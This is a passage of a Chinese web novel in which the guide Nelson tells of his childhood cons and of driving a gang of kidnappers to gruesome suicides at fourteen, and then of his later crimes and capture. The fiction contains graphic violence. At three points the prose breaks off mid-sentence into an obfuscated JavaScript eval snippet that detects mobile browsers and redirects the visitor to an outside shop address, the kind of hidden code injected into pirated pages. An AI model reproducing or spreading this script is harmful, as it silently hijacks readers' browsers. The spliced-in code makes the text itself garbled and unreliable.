可汹涌的浪潮之中,莱蒂斯的眼睛和身影都一动不动。水流的力量反而被她卷在手间,随她的动作重重砸在他们之间的玻璃上。她呼喊着尼尔森的名字,喊得尼尔森的心脏跟着震颤,而那永恒囚禁他精神的透明牢笼上映着他狼狈的模样,还有她坚定的目光,就这样被她一拳砸出了裂痕—— “尼尔森!!!” “!” 在她的呼唤中,他猛地睁开眼睛。 并不怎么暖和的被子还盖在他身上,但他怀抱着某种暖洋洋的温度。他低下头,发现自己正像求生的溺水者一般地,紧紧把莱蒂斯搂在怀里。 “……” 尼尔森人傻了。莱蒂斯也已经醒了,绿眼睛正看着他,他额角一跳,下意识地挤出一句不明所以的:“嗨。”然后准备用上毕生跑路之诀窍弹射起步。 但他没能弹射起来——莱蒂斯也正回抱着他,整个人都钻在他怀里,那该死的精神共鸣使得这拥抱的触感那样明显,却又抚平了噩梦中残留的幻痛,尼尔森动不了,但也好像不那么想动了。 “我们睡着之后,你好像又做噩梦了。我想让你平静下来。”在侦探的怀抱之中,莱蒂斯认真地说,“你在挣扎,比之前任何一次强烈……牵手好像没什么用了,我拥抱了你,你安静下来,我就又睡着了。” “然后我梦到你,但好像你也梦到了我,对吗?” 少女的声音并没有放松。她攥着尼尔森的衣服,严肃地问他:“那是梦,还是你的记忆?” “……” 尼尔森只听到自己的心跳如雷贯耳。她准是联想到了自己没向她透露的那些可疑的过去,可她的情感除了怀疑,还有急切的关心,一如她在那扇玻璃外,焦急地想将他唤醒。他的脑子里闪过一百个糊弄过去的办法,还有一百个含糊其辞的理由,他可以不回答她,也可以欺骗她,但是—— 但是他牵住她的手,引她放在了自己后脑。 在那里的头皮上,有一道长长的,缝合的伤疤。 少女的手指迟疑了一下,拨开他的短发,轻轻贴上那道被他藏起的,增生的疤痕。一种压迫和酸涩的肿胀感传来,尼尔森咬牙发出一声低吟,弓起的身体下意识把莱蒂斯抱得更紧。 莱蒂斯的身上散发出震惊。她感觉指尖像被灼伤了一样发烫:“所以……那是真的。” 尼尔森回以了一声轻哼:“……嗯。” 莱蒂斯皱眉,愤怒和困惑开始在她四周低旋:“塔?他们在做什么?他们为什么这么对你?” “这是一场实验——这就是我所知的一切。他们把电线□□脑子里,从来没说过这到底是在干什么。”尼尔森轻笑一声,“你知道癫痫吗?人被异常的神经信号支配,挣扎时甚至能弄断铁环和自己的骨头……这个实验有时候也会造成一样的效果,自从我把自己的右手弄骨折之后,他们就给我上了精神病院的拘束服。” 莱蒂斯的眼睛睁大了,尼尔森知道,她对这个世界的残酷还没有足够的认识。 “至于为什么……也许算我罪有应得。” 尼尔森将下巴抵在莱蒂斯肩上。他埋下头,金色的眼睛却睁着,在黑暗里熠熠生辉: “你听说过康沃镇哨兵的集体自杀案吧?” 那是一桩十五年前的案子,发生在奥西恩国西南的康沃镇,至今未破。 一群哨兵和普通人死在一间郊外的旧房子里,据称是自杀。这个案件的档案完全封存,甚至没有准确的死者数目,只有那些十多年都没更新过的旧网站里还能找到些捕风捉影的报道。他们说这个案子死了整整五个哨兵,因为事关重大,消息被塔压下去了。 后来事情越传越玄乎,成了所有奥西恩圣所的年轻哨兵们之间口口相传的都市传说,莱蒂斯也听他们说起过,说是康沃镇有神秘磁场,能使哨兵发疯。 “不管你听到的版本是什么,那都是错的。死的哨兵不是五个,而是七个,除此之外还有三个普通人。” “而且,他们不是自杀。” 尼尔森说着,金瞳中蒙上晦暗的色彩: “杀他们的,是我。” 那个时候,他正好和罗亚利一样,年仅十四。 80. 第七十九章 康沃镇是尼尔森.莱顿出生的地方。 这座城规模中等,却热闹非常。作为一座著名的旅游城市,康沃镇有举世闻名的碧蓝海岸线,梦幻的落日,横行霸道的海鸥,和一个四年级就在自己学校倒卖零食和烟酒的男孩。 穿着小短裤,脸还有点圆的小尼尔森从那个时候就习惯面带微笑了。 他有着柔软蓬松的棕发,不错的成绩,以及保质保量的零成本货物。 那年代摄像头不发达,尼尔森就时不时随机说服一位看起来体能不错的旅客小朋友去商店,让他当着老板的面偷瓶酒跑路,吸引老板去追,自己则趁着这个时候进商店零元购。* 事成后,结束旅行的游客小朋友会带着三成零食永远离开这里,没露面的尼尔森拿剩下七成销赃,老板谁也抓不到。 烟和酒和零食都是大人才能随便搞到的东西,因此在同龄人中,小尼尔森一直很受欢迎。他从来不是那种有跟班的校霸,但所有人都觉得他很酷,因为他总能做到其他人做不到的事情。 供应商有供应商的底气,小尼尔森不需要烟酒来耍帅,但年龄不够买烟的高年级男孩却都得从他这里买烟来叼嘴里装逼。他还有很多怪点子,比如用假通知骗学校老师集体外出开会,或者把试卷上的阅读题目替换成自己最爱的悬疑小说片段,林林总总,莫名其妙—— 因为尼尔森.莱顿是个随心所欲的孩子,他做这一切并不因为他缺少钱或者别的什么,只是因为他想试试,自己究竟能完成多少他人所不能企及之事。 他觉醒在一个十二岁的周五,说实话,并没有经历什么大起大落的痛苦。他逃课溜到教学楼顶玩游戏机,却注意到一个从校外路过的男人。 天空澄澈,空气灼热,过于灿烂的阳光反而在男人身上罩上了一层阴影。他走得很快,看不清表情,尼尔森看着他的影子,突然有点好奇这人在急什么。 “……嗯?” 伴随着男孩这样的念头,一种极致的阴森突然穿过遥远的距离袭来,像恐怖电影里惊吓镜头。尼尔森一挑眉,感到有什么扭曲的波动正围绕着那个男人,他紧张,慌乱,但这惊涛骇浪之下似乎又燃烧着古怪的兴奋,还有某种程度上的疯狂。 这人指定有点什么毛病,尼尔森想。回家后,他把这件事告诉了父母。一旁的电视正在播放晚间新闻,说今天一家汽车旅馆出现了杀人案。 屏幕右侧是根据目击证人证言描绘的嫌疑人画像,小尼尔森一看,就是那个男人。他爸吓一跳,赶紧电话联系了警方,后来还因为提供关键线索捉拿杀人犯喜提奖金。 “噢,尼尔森,你是可真是个神探!”放下电话后,他的父亲感叹。 “什么,不!”他更加见多识广的母亲则一拍腿,“尼尔森他是个向导啊!” 普通人父母没有养育共感者的经验。他们三个人围着当时还新潮的台式电脑,输入‘孩子是向导怎么办’,一通检索后发现尼尔森属实天赋异禀,不仅一觉醒就建立了精神屏障,感知范围广,还会选择特定目标。 这可是向导之家第一年末才会教授的课程。 尼尔森不太高兴,他压根不想去向导之家。在他印象里,向导只会被逼着去给哨兵当仆人,而向导之家不过是现任‘塔’的首席柯林斯对标圣所组建的向导培养机构,历史还没他小学长。所有向导都要在里面进行封闭式的生活,统一保护,管理和训练,直到二十二岁,或者提前匹配到哨兵。 简单来说,他要么就是要在里面坐八年牢,要么就是要去给哨兵做狗。 与其面对这种循规蹈矩的未来,小尼尔森宁可去蹲真的局子。他对着向导之家宣传网页里“为向导提供安全温馨的庇护”的标语直皱眉:“我不想去向导之家。” “行。”他的父母说,“那你下周接着上学吧。” 这对夫妻完全把尼尔森的‘向导’身份当成了一种特长生,孩子乐意发展就发展,不乐意就算了,他们也不会主动跟向导之家报告。 说到底,他们也是随心所欲生活的人。 当年两夫妻在身无分文的情况下一时兴起离开家乡,偷了辆车,靠刷信用卡开始了公路旅行。 等到了康沃镇时,他们的信用卡爆了。再不还真要坐牢,所以他们不得不留下来打工,而他们的信用卡实在爆了太多张,所以他们在这里一口气留了四年,结果孩子出生,就干脆定居了。 所以尼尔森的随性自在和没事找事都是家族传统。觉醒感知情绪的能力后,这孩子又有了新想法。他白天上学,晚上则混进海边的那些酒吧搞事。 昏暗的酒吧里闪烁着舞动的人影和艳丽的气氛灯光,尼尔森自称是老板儿子,跟大人玩掷骰子,说赢了他就能免单,然后靠出千赢钱。 男孩会先通过共感力分析目标的情绪,在游戏过程中用花言巧语影响他们的心理。他那时就已经懂得如何掌控人心,对什么人应该说什么话,有的游客甚至在他一个小孩面前说着说着就痛哭流涕,而尼尔森只顾赢上个几十镑然后走人。等游客反应过来不对,也没有时间去找一个本地小孩算帐了。 他们乘车离开,下一批游客又乘车进来,源源不断。 钱越来越多,尼尔森拿来也没啥用,也不能让父母知道,想来想去,最后都塞回了以前被迫给他供货的几家商店老板的门缝。 倒也不是他良心发现要攒钱赔偿。他之所以去酒吧挑战形形色色的人,也只是想试试看自己到底能做到什么程度而已。 偶尔,尼尔森也会翻车。有天他被酒吧老板逮着了。之前他自称是老板的儿子,被骗钱的游客把老板打了一顿,现在老板来找他算帐了。 小尼尔森挣脱老板,拔腿就跑,慌忙中来不及疏导他们针对自己的感情。另一个员工不讲武德,见他要进小巷,朝他扔了个酒瓶,把小孩砸摔在地,膝盖被擦出一道鲜血。 很好。 小尼尔森准备好反过来讹他们了。 但一顿打还是免不了的,这让小尼尔森觉得有点麻烦。他听见背后追来的脚步声,趴在地上,龇牙咧嘴地想着:要是他们看不见我就好了。 巷子外的灯光将一群高大男人的身影投影在地上,笼罩住了自作自受的男孩。但尼尔森发现,自己身后传来的感情是‘困惑’。 “他妈的!”老板怒骂,“那臭小子跑哪去了?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356970|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们真的看不见他了。 回家后,小尼尔森给腿上的擦伤涂了碘伏,偷摸着打开电脑搜索“向导能不能让人看不见自己”,几经跳转,搜出了‘认知误导’的概念,和弥斯.柯林斯的事迹。 哇,这么强? 这是普通向导不具备的能力。有这样的天赋,他也应该去做普通向导做不到的事,甚至连弥斯.柯林斯也做不到的事才对。 从那天起,尼尔森开始思考‘离开’。他目送太多游客乘巴士离去,目的地是他只在电视里见过的都市,只有那里才有配得上这份能力的挑战。正好镇上的一切他都折腾过了,也折腾腻了,十四岁生日,他经过一个中二少年的深思熟虑,对父母说,我可能有一天会突然走掉,去外面转转,看看自己能做些什么,不知道什么时候回来。 对此,他那曾经也是说走就走的母亲回答:“行。你现在已经到了不会把自己饿死或者冻死的年纪,具备这一点,你就可以上路了。不知道什么时候回来没关系,不回来也没关系,毕竟我和你爸说不定哪天也要继续公路旅行了。” 她和她丈夫一起,跟小尼尔森击了个掌,三人合力吹灭了生日蜡烛。 烛火熄灭的瞬间,世界陷入黑暗。 尼尔森其实并不是打算真的在十四岁就走的,他只是想让父母知道自己未来的打算。可命运的浪潮在那黑暗中涌动着,将尼尔森推上了那条道路。 与其说这是出于他自己的意志和愿望,不如说他只是不小心在烛光下预言了命运的安排—— 尼尔森生日的第二天,那个在他觉醒那天杀人的男人回来了。 放学的尼尔森用钥匙打开家门,却发现门背后站着一个高大的人影,就是当年被他指认出的那个男人。 时值深秋,天黑得早,天空只剩下远处最后一抹血红。尼尔森一皱眉,当机立断用刚掌握的认知误导把自己隐身了。他反应很快,没被男人身上那阴森得让人血液都结冰的‘杀意’吓到。 他的父母今晚去社区参加活动,正好不在家,他于是转身跑去找邻居报警,但出乎他意料的是,那男人的情感从看见一个活人突然消失的‘困惑’,变成了令人作呕‘贪婪’。 ……为什么? 尼尔森没去寻找答案,他的直觉在尖叫着警报。在消逝的血色夕阳下,少年头也不回地奔跑。他那时已经长高了,瘦长的腿跑起来像只矫健的羚羊,但一把掷出的刀精准地扎进他小腿,他往前一栽,被扑过来的男人狠狠按在地上,绞住手,捂住嘴,动弹不得。 男人用膝盖压在他后背,公牛一样的体重让他无法呼吸。昏迷之前,尼尔森感到后颈的衣领被扯开,身后响起一阵大笑:“我靠,我操啊哈哈哈哈哈哈!还真是,还真是!!中大奖了!” “老子他妈碰上会被向导之家落下的,会认知误导的向导了!!!” 尼尔森后来才知道认知误导还有精度之分,能骗过普通人认知的把戏不一定能骗过五感发达的哨兵。他们能感知到更细节的东西,也能更敏锐地察觉到异常,越是高级别的哨兵,就越是难以误导。 而那个越了狱来寻仇的男人,恰好就是一个B级哨兵。 81. 第八十章 “合着你嚷嚷那么半天报仇雪恨,结果一个人都没杀?” “杀屁杀,你当老子是智障?你杀一百个人都不如这个值钱,老子再在那磨蹭一秒都是对钱的不尊重——看看,看看这小鬼是什么!向导,会认知误导的向导!你知道这小崽子能卖多少吗?” 少年的尼尔森转醒时,B级哨兵正用鞋尖撩开他后颈的短发,展示他的腺体。他说:“千真万确!这小子刚直接在老子眼皮子底下消失了。但他没隐藏他的‘气味’,还有跑起来的‘声音’,老子反手就绑回来了!” 在他脚边,尼尔森忍着头疼环顾四周。少年发现自己双手被绑,正侧卧在一间乡下别野的地上。房间里放着电视,窗外树影摇晃,哨兵得意地踹了他一脚,拎着瓶啤酒坐到沙发上,面前的桌上随意地扔着几把抢。 “带来的这批货已经快卖完了。”另一个声音更冷的男人说,“本地的帮派阻拦过,死了几个人之后就没动静了。可以安排进新的了。” “我靠,真行啊!这地方油水可够得捞。也是,那么多来度假的,那么多酒吧,怪不得其他地方能卖一个月的货这边一个星期就卖完了。”B级哨兵的声音吵得盖过电视机,“老子就说吧,只要我们想,摆平这破地方,从这里开始发家肯定没问题的。整整七个哨兵啊,我们还怕干不过本地那群垃圾?” 尼尔森在地上静静听着。他很快从对话里得知这间房子里一共有十个人,组成了个新兴的帮派准备来康沃镇发展业务。越狱出来的B级哨兵是他们的头儿,通过警局内部的通话记录查到尼尔森家当初指认了他,本来想来寻仇,没想到捡了大便宜。 男人们说起话来毫不避讳。他们不在乎尼尔森听到了多少,真当他是只被项圈拴牢了的狗。B级哨兵开了酒,还摆出了药,和他的兄弟们一边嗑一边大聊雄图大业,对尼尔森的评价只有一句:“我已经联系买家了,那哥们现在拿着三百万镑连滚带爬往这儿来呢,早上就到。” 哦,早上。 少年眨眨眼睛。 那还有时间。 没考虑过认知误导的全面性的确是少年经验不足,但少年懂得如何学习。 嗅觉,听觉……是啊,人有那么多的感官,可以感知到那么多的东西,为什么自己只想到了把自己隐身,没想过让他们‘认知’到些别的呢? 电视屏幕蓝色的冷光像一道冰冷的海浪在地面来回起伏,尼尔森浸泡在其中,并不觉得慌张。 无非就是要做他一直以来在做的事情而已——试试看,试试看自己究竟能做到什么程度。 与此同时,一只小小的单个体水母忽然在少年的上空浮现。它太小了,没人注意到它。 等到那些男人用枪和刀自杀时,那不断复制又相互连接起来的单个体们,已经有十米长了。 “我不确定能不能一次性误导那么多人的认知,所以是把他们逐个击破的。”成年后的尼尔森.莱顿如是向莱蒂斯概括,“我让他们‘听见’一些可疑的声音,单独去别墅的角落搜索,或者直接利用他们单独去卫生间的时候……就像恐怖片一样——毕竟我小时候见过最吓人的东西也就是恐怖片了。” “我知道自己打不过他们,也知道但凡他们还有一个活着,就不会放跑我或者我父母,所以在他们落单时,我让他们产生了错误的认知,把武器指向自己,然后自杀。” 尼尔森抱着莱蒂斯,感受着她后背贴着掌心传来的心跳和她复杂的情感。她沉默地倾听,耳尖被尼尔森的短发蹭着,并没有说话,但尼尔森知道他成功了。 莱蒂斯的心中并没有对恶人的抵触。相反,她身上散发出肃穆,同情,以及那种尼尔森熟悉却不知从何而来的悲哀。 因为尼尔森讲述的是一个被卷入争端的无辜少年,迫不得已进行反抗的故事。 就事情的起因和结果而言,事实也的确如此。 尼尔森只是略过了一些无关紧要的细节而已。 别误会,他可没说谎。他当时的确考虑到了自己和父母的安危,还有逃脱的可能性。 任何人都会同意,将这群男人斩草除根是唯一的选择。 只不过,正如他如实承认的—— 他做的事情就像恐怖片一样。 所以那个被奇怪响动吸引去储物间的男人因为错误的‘认知’,把墙当成了打不开的门。他把自己关在狭窄的空间,然后在向导少年的暗示下逐渐窒息。那双血淋淋的手在墙上留下狰狞的刮痕,连指甲都外翻出来,最后因为痛苦而掐在了自己的咽喉。 望风的男人在抽烟时被烟头引燃了衣服和自己,他看见火焰融化了他的熔化皮肤,点燃了他的脂肪,因为感觉喉咙都被融成了黏糊的血肉,他叫不出声音,于是用刀割开了咽喉,将鲜血化为尖叫。 一个喝了五瓶啤酒的男人进了厕所,再也没出来,有人听到他的呕吐声,以为他是喝多了,却不知道他跪在地上,吐得肝肠寸断——他感到虫子从他的眼眶,鼻腔和嘴里不断爬出,连节肢爬在皮肤上的触感和轻微的振翅声都无比真实,他掏枪,想杀了它们,但它们来源于他,所以他杀了自己。 这群自大的哨兵们其实是最容易对付的,因为他们承受不住强烈的刺激。他们级别本来就不高,基本徘徊在C与D等,药和酒精又削减了他们的敏锐,加重了他们的幻觉,直接给还只能硬控一个人的尼尔森开了简单模式。 他们甚至没发现同伴在一个个减少。 而B级哨兵坐在沙发上,一直重复着一个动作—— 他想打开药粉,但怎么都打不开包装,于是拿刀去割。他开了就吸,一袋又一袋,从没发现他割的一直是自己的手腕。一层一层的组织伴随着满地鲜血绽开,皮肤,静脉,脂肪与肌肉,最后是动脉。 离翼水母——尼尔森第一次见面的精神动物——从他耳朵的一侧进入,盘绕过大脑的沟壑,又从另一侧穿出。 他的脸上,身上全是自己的血,他再也敲不响尼尔森家的门了。 对尼尔森来说,最冒险的事情也许是用幻觉让一个哨兵开抢打断了捆他的绳索,好在哥们准头还不错,成功帮他松了绑。 他穿过这帮群魔乱舞的低级哨兵,在一个把药粉误认为是咖啡,泡了三大包后服用过量口吐白沫的普通人旁边拿了个新的玻璃杯,给自己泡了杯热可可,坐到单人沙发上。 这是毫无疑问的虐杀,但他做这一切时,并不带着仇恨或者恐慌。他只是单纯地想试试看,他到底能误导这群人的‘认知’到什么地步。 夜深了,房间里很冷,也没开灯。有人射穿自己下巴后倒下去,把电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356971|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视砸翻了,熄灭了最后的光亮。尼尔森有点想不起自己在这黑暗中坐多久,他喝掉最后一口饮料,但胃和心脏中依然徘徊着一种古怪的空洞。他把卫衣的帽子戴上,去热了盒速食意面吃。 我应该不止值三百万镑吧。看着一地尸体,尼尔森是这么想的。但从那个B级哨兵的态度来看,会认知误导的向导非常珍贵,哪怕出于自救干掉一群恶棍可能会让他免受处罚,‘塔’和向导之家也多半不会放任他这种重要资源流落在外的。 他该走了。 而尼尔森.莱顿清楚,他并不是要和他父母一样去开启一段公路旅行。他要走的是另一条路,更加野蛮,更加黑暗,也更加百无禁忌——他以不可言说的方式杀死了人,那他就需要付出他的代价。他既然毫无心理负担地选择了在道德与法律以外的方法解决问题,那么他就已经主动抛弃了‘普通’的生活。 在启程前,少年就已经踏入文明之外的世界,在那里,他所背弃的秩序亦无法触及,一切都见不得光。 还好,他天生适合那里。 阴谋,战斗和危险在等待着少年,而一直以来驱动他的,与其说是野心,不如说是一种古怪的好奇。 他究竟能做到哪一步呢? 正好,他现在会热意面,也懂得穿好卫衣了。 他不会饿死,也不会冻死了。 天亮后,十四岁的尼尔森买了张从没坐上过的巴士的票,离开了康沃镇。 他开始了他的旅程。 “所以都市传说的背后就是这么无聊。这件事没有报道,也许是因为当地人巴不得这帮哨兵赶紧死,也许是因为这件事本质上是为民除害。当然,要我猜的话,是因为康沃镇得向群众隐瞒他们没能把一个能够认知误导的危险向导送进向导之家看管起来。哨兵被向导逼疯可比哨兵莫名暴走自杀听起来吓人太多了,镇上还得靠旅游赚钱呢。” 这骗子和犯人说完,抬起头,用金瞳认真地看着小姑娘,告诉她:“我不骗你,莱蒂斯。我不后悔做这件事。我们这些在阴影里摸爬滚打的人,总会有那么几个从不后悔杀死的对象。” 这是尼尔森早就想好的措辞。这狡猾的家伙早就准备好了对策。被莱蒂斯怀疑是迟早的事情,还不如他自己掌握主动权。 不完整的实话可不算是撒谎啊,尼尔森想,他才不会坦诚地告诉她一切呢。 因为他需要她的信任,他需要利用她脱困……基于这样自私自利的原因,他不希望莱蒂斯讨厌自己,也不希望她觉得自己背叛了她。 如果莱蒂斯用看Papa那样的眼神看着他的话,他真的会很受伤的。 男人的眼里流露出眷恋,却依然用语言的艺术把玩着少女的善良。他看着那双倒影着自己的墨绿瞳孔问她: “你觉得我做错了吗?” “……要我说的话,没有。”莱蒂斯严肃地回答。 这是尼尔森意料之中的话,坏男人笑起来,牵过她的手,准备继续入眠。 但莱蒂斯的五指再次轻抚过他后脑的伤疤,明明带着安慰的性质,却刺激得他差点没忍住呻吟。 她说出了一句让尼尔森意外的话: “如果只是因为这件事……你不应该遭遇这个的。” “因为杀人,是弱者的权利。” 82. 第八十一章 “如果遇见那十个人的是我,那么我不会杀了他们。”莱蒂斯说,“因为我打得过他们。” “我会把他们打昏过去,或者打成重伤,捆起来,让警察和法官把他们送进监狱。罪人的生命只有法律能审判……我没有理由,也没有权利随便取走别人性命。” 莱蒂斯满脸认真,如果忽视‘打成重伤’的部分,完全就是一个遵纪守法乖孩子的发言。会说出‘只有法律能审判罪人’这种话的人,通常不会认同防卫过当的杀人,尼尔森想知道她为什么会有不同的看法,却忽然颤抖了一下。 向导感到自己被一层湿冷的白布笼罩,那是莱蒂斯身上时不时浮现的悲哀。她向他展露了自己的情绪,将它披在他肩膀。 少女的睫毛垂下了一瞬,遮住了双眼,但她深深地呼吸了一次,还是看向了尼尔森: “但如果一个弱小的受害者杀死加害者,那也许是因为除了杀人别无选择。” “想加害我的人,虽然他们也不想放过我,也会想杀了我,但因为我比他们更强,所以即使他们还活着,我和我的家人也是安全的。” “但当加害者与受害者之间过于悬殊,一切只会恶性循环。恶人的加害来得太容易,受害者要想摆脱痛苦却难于登天,即使好不容易找到了一个机会反抗,也可能遭到更过分的报复——所以当弱者得到一个机会杀死恶人之时,他们是有权利这么做的……至少我这么认为。” 这不是莱蒂斯到达圣卢赛特后想明白的道理,她的这种悲哀已经存在了很久。 也许乡下的圣所并不像人们普遍认为的那样平静,有一出惨剧早早就在少女心中留下了一场永不消散的迷雾。尼尔森暂且看不透个中缘由,只是觉得有点冷。莱蒂斯也许更冷,他想他应该把莱蒂斯抱回怀里。 这孩子虽然强,虽然正直得一板一眼,但从不高高在上。她不因海克杀人而将他视为罪犯,也没有审判罗亚利手下的罪孽,因为她清楚: “弱者的权利来自于正义的背叛,如果正义能够庇护他们,他们也不必沾上鲜血。我……我已经明白我不可能救所有人,但至少力所能及的范围内,我想保护被伤害的人,至少有我一直在你们身边的话,罗亚利和你,都不需要再去杀谁了。” 莱蒂斯的眼神很难算得上温柔,与其说是对尼尔森的安慰,不如说是一种从未向人袒露过的,燃烧的决心。她的想法纯粹是基于所有人都值得被庇护的假设之上,尼尔森就不是其中之一。他理应嘲笑她的天真,可她许诺的模样还是莫名让他感到温暖。 但不能忘记,狼依然是狼。 注意到尼尔森漏洞的莱蒂斯接着问他:“可是,你并不是因为康沃镇的事情才被‘塔’逮捕的。你离家时十四岁,但我所见的梦里,你已经成年了,这中间发生了什么,尼尔森?” 对于尼尔森,她倒是没了对待罗亚利的宽容。小姑娘盯着他,一副虽然辛苦你了但是你必须给我交代清楚的严肃表情。 唉,这该死的敏锐和刨根问底的习惯。 “对啦,你说得对。”尼尔森假装无奈地回答,“我是在向导之家被‘塔’逮捕的。在外流浪期了一段时间之后,我被发现是未登记向导,送去了向导之家,待了很久。在那里,我做了件错事。” 侦探直视着哨兵洞若观火的目光,一点没有心虚。他略过了自己游历在外那几年做的混蛋事,但他说的不是谎言。 因为本质上,他被送去监狱岛也确实是因为他在向导之家的罪过,和之前那些经历无关。 他所做的事情正好是莱蒂斯的反面。莱蒂斯想保护受害之人,尼尔森却只是出于挑战和找乐子,在不断地做加害者的加害者。 戈林酒店诈骗案,斯卡伯勒赌场诈骗和抢劫案,美术馆盗窃案……第一个案子牵扯到谋杀取得遗产的富商,第二个案子被他翻出了赌场的非法营收,第三个则与黑手党洗钱有关—— 尼尔森犯下的不下十起重大案件虽然造成损失重大,却很少被放上台面追究,因为他玩的全是黑吃黑的把戏,挑战的全是□□世界的游戏。这些事件的档案被‘塔’封存,不仅因为尼尔森见不得光,还因为这帮人谁也见不得光。 他一路上杀过或者逼疯过很多人,对方身上基本也都背着几十上百条人命,就像两只野兽在相互撕咬,不存在谁无不无辜。但他知道莱蒂斯眼中,一个坏人所杀的对象是另一个坏人,并不能构成一个足以脱罪的理由。 说到底,他和莱蒂斯立足的不是同一个世界。尼尔森的世界不存在法律才有权审判的概念,反而将被现代文明遗弃的弱肉强食当作规则。所有人都在伤害他人,也等着有一天自己被他人拽着,坠下悬崖。 让尼尔森彻底翻车,被发现身份送去向导之家的事件,也并不是什么将罪犯绳之以法的正义故事。这点从这件事发生的地点就可见一斑: 圣卢赛特。 那会儿尼尔森刚满二十,正好旅居至此,听说圣卢赛特商储银行因为惊世骇俗的治安,配备了全世界最先进的安保措施。青年觉得有趣,第一次迈出灰色地带,对’正常’世界的受害者出手。 他象征性地盗取了金库里价值五百万镑的珠宝,比起他之前在那些黑手党身上捅的窟窿来说简直不值一提,结果当晚一看新闻,圣卢赛特储蓄银行行长沉痛地宣布:我行被盗窃财产损失超过一个亿。 一个亿。 一个亿?? 青年尼尔森被气笑了,他反应过来,这次黑吃黑的游戏轮到他了。这哪是什么‘正常’世界的受害者,这破银行他妈的比他可要黑多了——不知道是挪用还是贪污,这银行的储蓄本来就有接近一个亿的缺口,现在他一去,正好就把锅全扣他头上了。 这件事引起轩然大波,官方强烈重视,直接派遣了特工级别的精锐共感者处理,连哨兵带向导,一口气来了好几个S级。彼时监控和信息化管理又已经大大进步,尼尔森的认知误导骗得过人但骗不过机器,因为某些疏忽,他在银行的电子监控里留下了重要线索,导致他在报复银行行长的路上中了陷阱。 一翻折腾,爆炸和死人后,尼尔森被捕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356972|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这把众多权贵和黑手党折磨得神经衰弱的重罪犯在警车正义的鸣笛中被拉去监狱时,还看着窗外圣卢赛特繁华的夜景不禁感叹: 我靠,这鬼地方是真尼玛黑啊。 他没进监狱。由于过于珍贵的认知误导能力,他被送往圣卢赛特的向导之家看管和训练。和他一组的还有几个一样犯过事儿的向导,虽然都做不到认知误导,但评级都在A以上。 他们一起戴着电击项圈,在向导之家过一种过家家一样的校园生活,但训练强度远超普通向导,毕业年龄也延长到二十五岁。 训练和再教育完成后,坐镇圣卢赛特大区的S级向导将会评定他们的心理,决定他们是和其他向导一样回到社会,还是继续带着项圈,被送去共感者军方,用于最危险,最九死一生的战场。 此时距离尼尔森.莱顿刺杀首席弥斯.柯林斯,还有两年。 那是他被送去监狱岛的直接原因,他也早想好了如何跟莱蒂斯陈述:一个不甘心被囚禁的青年为了争取自由铤而走险,最终因冒犯首席获罪受刑,被当成实验体——这是事实,也是又一个省略了一些细节,只剩下无辜一面的故事。 至于那些被镌刻进骨髓深处,永远伴随他的隐痛,那些真正使他永困岛屿之上,无法逃离的梦魇,他向来绝口不提。 可莱蒂斯在等他的答案,那新生的,坚韧的精神触须轻轻将他环绕,像是狼收起獠牙和爪,只用毛绒蹭蹭他。 他其实能够感知得出来,她之所以如此刨根问底,不是想对尼尔森兴师问罪,而是带点任性地,真心地了解他的过去。 而她能拧断人骨头的手就在他最难言的伤疤旁,在他最隐秘的腺体边上,最后只是模仿着他之前安抚她的样子,摸了摸他头顶。 “嗯……” 尼尔森哼出一声鼻音。 他们现在本来就贴得很亲密,即使只是这么轻的触碰,那该死的精神共鸣也再次跃动起来,如同童话里壁炉的火那样温暖。 尼尔森的手悄悄攥住莱蒂斯背后的床单。 不要说,不可以说,别被她的表象迷惑。 尼尔森这样告诫自己。 你是因为傲慢而获罪的犯人,你不是她庇护的对象。她的理想中不包括你。 别忘了她如何对待Papa,别忘了她是如何危险的怪物,也别忘了,你是要利用她,不是要把自己交给她——所以告诉她:你为了自由刺杀了首席,一笔带过,一切就都结束了。 尼尔森.莱顿张开嘴,准备脱口而出编排好的台词。可冬夜很冷,莱蒂斯身上又燃烧着某种光辉,他想起自己的哨兵刚刚的确是说过了,会一直在自己身边的。 她的承诺是那样不成熟,又那样让人安心。向导神志一恍,还是放任自己往那安全和舒适的共鸣中下沉了一瞬。 他忽然露出了个很无力,很古怪的笑来。 “莱蒂斯,”他投降一样地对小姑娘说,“你知道吗?我这种人,曾经也有一群朋友的。” “后来因为我,他们都死了。” 83. 第八十二章 正如尼尔森所说,在向导之家的那段日子,基本就是过家家一样的生活。 他被送去的那个向导之家隶属于圣卢赛特大区,接收的向导也经过遴选全是A级,比起一所学校,更像是一个严密的基地。 